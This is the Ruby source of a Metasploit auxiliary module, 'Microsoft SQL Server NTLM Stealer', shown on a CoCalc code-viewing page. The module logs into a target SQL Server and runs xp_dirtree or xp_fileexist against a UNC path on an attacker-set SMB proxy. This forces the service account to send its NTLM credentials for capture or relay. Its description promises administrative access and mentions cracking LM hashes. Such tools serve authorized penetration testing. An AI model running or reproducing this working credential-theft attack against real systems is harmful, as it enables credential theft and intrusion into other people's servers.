CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::Auxiliary::Scanner
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Microsoft SQL Server NTLM Stealer',
13
'Description' => %q{
14
This module can be used to help capture or relay the LM/NTLM credentials of the
15
account running the remote SQL Server service. The module will use the supplied
16
credentials to connect to the target SQL Server instance and execute the native
17
"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then
18
force the service account to authenticate to the system defined in the SMBProxy
19
option. In order for the attack to be successful, the SMB capture or relay module
20
must be running on the system defined as the SMBProxy. The database account used
21
to connect to the database should only require the "PUBLIC" role to execute.
22
Successful execution of this attack usually results in local administrative access
23
to the Windows system. Specifically, this works great for relaying credentials
24
between two SQL Servers using a shared service account to get shells. However, if
25
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
26
and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
27
inspiration.
28
},
29
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
30
'License' => MSF_LICENSE,
31
'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]
32
))
33
34
register_options(
35
[
36
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
37
])
38
end
39
40
def run_host(ip)
41
42
# Reminder
43
print_status("DONT FORGET to run a SMB capture or relay module!")
44
45
# Call auth_force method to execute "xp_dirtree"
46
begin
47
force_auth("xp_dirtree",datastore['SMBPROXY'])
48
return
49
rescue
50
print_error("xp_dirtree failed to initiate authentication to smbproxy.")
51
end
52
53
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
54
begin
55
force_auth("xp_fileexist",datastore['SMBPROXY'])
56
return
57
rescue
58
print_error("xp_fileexist failed to initiate authentication to smbproxy.")
59
end
60
61
end
62
63
# Method to force sql server to authenticate
64
def force_auth(sprocedure,smbproxy)
65
66
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
67
68
# Generate random file name
69
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
70
71
# Setup query
72
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
73
result = mssql_query(sql, false) if mssql_login_datastore
74
column_data = result[:rows]
75
print_good("Successfully executed #{sprocedure} on #{rhost}")
76
print_good("Go check your SMB relay or capture module for goodies!")
77
78
end
79
end
80
81